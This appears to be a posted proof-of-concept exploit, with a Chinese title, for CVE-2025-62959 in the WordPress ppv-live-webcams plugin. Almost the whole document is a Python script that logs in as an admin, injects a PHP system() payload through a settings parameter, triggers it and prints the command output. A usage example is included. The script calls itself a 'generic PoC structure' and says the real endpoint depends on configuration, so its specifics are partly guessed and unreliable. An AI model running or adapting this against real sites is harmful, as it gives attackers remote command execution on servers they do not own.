CVE-2025-62959: WordPress ppv-live-webcams插件远程代码执行漏洞

import requests import sys # CVE-2025-62959 PoC - Code Injection in ppv-live-webcams plugin # Target: WordPress site with ppv-live-webcams plugin <= 7.3.23 def exploit_rce(target_url, wp_admin_user, wp_admin_pass, cmd): """ Exploit code injection vulnerability to achieve RCE Args: target_url: Target WordPress site URL wp_admin_user: WordPress admin username wp_admin_pass: WordPress admin password cmd: Command to execute on target system """ session = requests.Session() # Step 1: Login to WordPress admin panel login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_admin_user, 'pwd': wp_admin_pass, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wp-admin' not in resp.url and 'dashboard' not in resp.url: print("[-] Login failed!") return None print("[+] Login successful!") # Step 2: Inject malicious code through vulnerable parameter # The exact vulnerable endpoint depends on plugin configuration # This is a generic PoC structure # Malicious payload - injects PHP code payload = { 'page': 'ppvlivewebcams', 'action': 'save_settings', # Vulnerable parameter - code injection point 'custom_code': f"<?php system('{cmd}'); ?>", } vuln_url = f"{target_url}/wp-admin/admin.php" resp = session.post(vuln_url, data=payload) # Step 3: Trigger the injected code trigger_url = f"{target_url}/wp-content/plugins/ppv-live-webcams/includes/settings.php" resp = session.get(trigger_url) return resp.text if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <admin_user> <admin_pass> <command>") print(f"Example: python {sys.argv[0]} http://target.com admin password 'id'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] password = sys.argv[3] command = sys.argv[4] result = exploit_rce(target, user, password, command) if result: print("[+] Command executed successfully!") print(result)